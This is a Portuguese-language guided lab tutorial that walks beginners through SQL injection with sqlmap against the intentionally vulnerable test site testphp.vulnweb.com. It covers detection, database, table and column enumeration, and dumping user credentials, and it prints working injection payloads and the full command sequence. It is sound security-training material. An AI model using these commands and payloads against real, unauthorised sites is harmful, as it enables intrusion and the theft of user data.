Injeção de SQL no Kali com sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá a identificar e explorar vulnerabilidades de injeção de SQL (SQLi) utilizando o Kali Linux e a poderosa ferramenta sqlmap. Através de uma série de etapas guiadas, você detectará uma aplicação web vulnerável, enumerará a estrutura do seu banco de dados e extrairá dados sensíveis. Todas as atividades são realizadas dentro de um ambiente seguro de VM da LabEx usando um contêiner Kali Linux. Este laboratório foi projetado para iniciantes, proporcionando experiência prática em testes automatizados de segurança de aplicações web. Ao abrir o terminal, você será conectado automaticamente ao shell do contêiner Kali Linux, pronto para começar.

Este é um Laboratório Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para concluir cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível intermediário com uma taxa de conclusão de 60%. Ele recebeu uma taxa de avaliação positiva de 97% dos alunos.

Configurando o Ambiente e Instalando o sqlmap

Seu ambiente de laboratório está pré-configurado para colocá-lo automaticamente dentro de um shell de contêiner Kali Linux assim que você abrir o terminal. Sua primeira tarefa é preparar este ambiente atualizando a lista de pacotes e instalando o sqlmap, a principal ferramenta deste laboratório.

O sqlmap é uma ferramenta de teste de invasão de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e a tomada de controle de servidores de banco de dados.

Primeiro, atualize o índice do repositório de pacotes. Isso garante que você possa obter a versão mais recente do software.

apt update

Em seguida, instale o sqlmap usando o comando abaixo. A flag -y confirma automaticamente a instalação.

apt install -y sqlmap

Este processo pode levar alguns instantes. Assim que a instalação for concluída, verifique se o sqlmap foi instalado corretamente checando sua versão.

sqlmap --version

Você deverá ver uma saída exibindo a versão instalada do sqlmap, o que confirma que a ferramenta está pronta para uso.

Saída Esperada (o número da versão pode variar):

1.x.x#stable

Com o sqlmap instalado e verificado, seu ambiente está agora preparado para as próximas etapas, onde você começará a testar vulnerabilidades de injeção de SQL em uma aplicação web alvo.

Detectando uma Vulnerabilidade de Injeção de SQL

Agora que o sqlmap está instalado, você pode começar a testar uma aplicação web em busca de vulnerabilidades de injeção de SQL. Para este laboratório, usaremos um site publicamente disponível, intencionalmente vulnerável, projetado para testes de segurança. O primeiro passo em qualquer ataque de injeção de SQL é identificar um parâmetro vulnerável.

A URL alvo para este laboratório é http://testphp.vulnweb.com/listproducts.php?cat=1. O parâmetro cat=1 é um ponto de entrada potencial para a injeção. Usaremos o sqlmap para testar automaticamente este parâmetro.

Execute o seguinte comando para iniciar o teste. A flag -u especifica a URL alvo. Usamos a flag --batch para permitir que o sqlmap seja executado com as respostas padrão para quaisquer perguntas interativas, tornando o processo não interativo e mais rápido.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

O sqlmap realizará uma série de testes contra a URL. Ele analisará as respostas para determinar se o parâmetro cat é injetável. Este processo pode levar um ou dois minutos enquanto ele tenta várias técnicas de injeção de SQL.

Após a conclusão da varredura, revise a saída. Você deve encontrar uma seção que confirma a vulnerabilidade.

Saída Esperada (truncada):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

A saída confirma que o parâmetro cat é vulnerável a múltiplos tipos de ataques de injeção de SQL:

  • Boolean-based blind: Usa lógica de verdadeiro/falso para extrair dados.
  • Error-based: Explora mensagens de erro do banco de dados para revelar informações.
  • Time-based blind: Usa atrasos nas respostas para confirmar a injeção.
  • UNION query: Combina resultados de múltiplas instruções SELECT.

A varredura também identifica que o banco de dados de backend é o MySQL versão 5.6 ou superior, rodando em um sistema Linux Ubuntu com Nginx e PHP. Essas informações detalhadas de "fingerprinting" guiam os próximos passos no processo de exploração.

Enumerando Bancos de Dados

Com a vulnerabilidade confirmada, o próximo passo lógico é descobrir quais bancos de dados existem no servidor. Este processo é chamado de enumeração de banco de dados. Conhecer os nomes dos bancos de dados é essencial para navegar na estrutura de dados do servidor.

Você usará a flag --dbs com o sqlmap para listar todos os bancos de dados disponíveis. O comando reutiliza os dados da sessão da etapa anterior, portanto, o sqlmap não precisa verificar novamente a vulnerabilidade.

Execute o seguinte comando:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

O sqlmap explorará a vulnerabilidade para consultar o esquema do banco de dados e recuperar uma lista de todos os nomes de bancos de dados. Observe que o sqlmap retoma a partir da sessão armazenada, economizando tempo.

Saída Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

A saída mostra dois bancos de dados: acuart e information_schema.

  • information_schema é um banco de dados padrão no MySQL que armazena metadados sobre todos os outros bancos de dados. É útil, mas geralmente não é o alvo principal para roubo de dados.
  • acuart parece ser o banco de dados personalizado da aplicação, que provavelmente contém os dados interessantes que estamos procurando, como informações de usuários ou dados da aplicação.

Agora que você tem o nome do banco de dados da aplicação, pode prosseguir para inspecionar seu conteúdo.

Enumerando Tabelas e Colunas

Após identificar o banco de dados acuart, seu próximo objetivo é ver quais tabelas ele contém. As tabelas são onde os dados reais são armazenados. Uma tabela chamada users ou customers, por exemplo, é um alvo de alto valor.

Para listar as tabelas no banco de dados acuart, use a flag -D para especificar o nome do banco de dados e a flag --tables para solicitar a lista de tabelas.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

Saída Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

A saída revela várias tabelas, sendo users uma particularmente interessante. Vamos investigar a tabela users mais a fundo listando suas colunas. Para fazer isso, adicione a flag -T para especificar o nome da tabela e a flag --columns.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

Saída Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

As colunas uname (nome de usuário) e pass (senha) são alvos primordiais para extração de dados. Outras colunas interessantes incluem email, cc (cartão de crédito) e phone para informações de clientes. Agora você tem todas as informações necessárias para extrair o conteúdo dessas colunas sensíveis.

Extraindo Dados de uma Tabela

Esta é a etapa final do ataque, onde você extrairá os dados da tabela alvo. Com base nas etapas anteriores, você conhece o banco de dados (acuart), a tabela (users) e as colunas de interesse (uname, pass).

Para extrair os dados, você usará a flag --dump. Você pode especificar quais colunas extrair usando a flag -C para tornar o processo mais rápido e focado.

Execute o seguinte comando para extrair os nomes de usuário e senhas da tabela users:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

O sqlmap agora extrairá os dados das colunas especificadas e os exibirá no terminal. Ele também salvará os dados em um arquivo CSV para análise posterior.

Saída Esperada:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

A saída mostra uma entrada de usuário com o nome de usuário test e a senha test. Esta extração de dados bem-sucedida demonstra o impacto crítico das vulnerabilidades de injeção de SQL:

  • Violação de Dados: Credenciais sensíveis de usuários são expostas.
  • Acesso Não Autorizado: Essas credenciais podem ser usadas para fazer login na aplicação.
  • Violação de Privacidade: Informações pessoais são comprometidas.
  • Risco de Segurança: A vulnerabilidade pode ser explorada para acessar outros dados ou elevar privilégios.

Isso completa uma sequência típica de ataque de injeção de SQL: detecção → enumeração → exploração → extração de dados.

Você também pode visualizar os dados salvos lendo o arquivo CSV mencionado na saída.

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Saída Esperada:

uname,pass
test,test

Isso confirma que os dados foram exfiltrados e salvos com sucesso.

Resumo

Neste laboratório, você realizou com sucesso um ataque de injeção de SQL de ponta a ponta usando o sqlmap em um ambiente Kali Linux. Você começou instalando o sqlmap e depois o utilizou para detectar automaticamente uma vulnerabilidade em uma aplicação web real. Seguindo uma abordagem sistemática, você enumerou os bancos de dados do servidor, listou as tabelas dentro de um banco de dados alvo, identificou colunas sensíveis e, finalmente, extraiu credenciais de usuários. Esta experiência prática proporcionou uma compreensão real de como ferramentas automatizadas podem ser usadas para encontrar e explorar uma das falhas de segurança web mais comuns e críticas.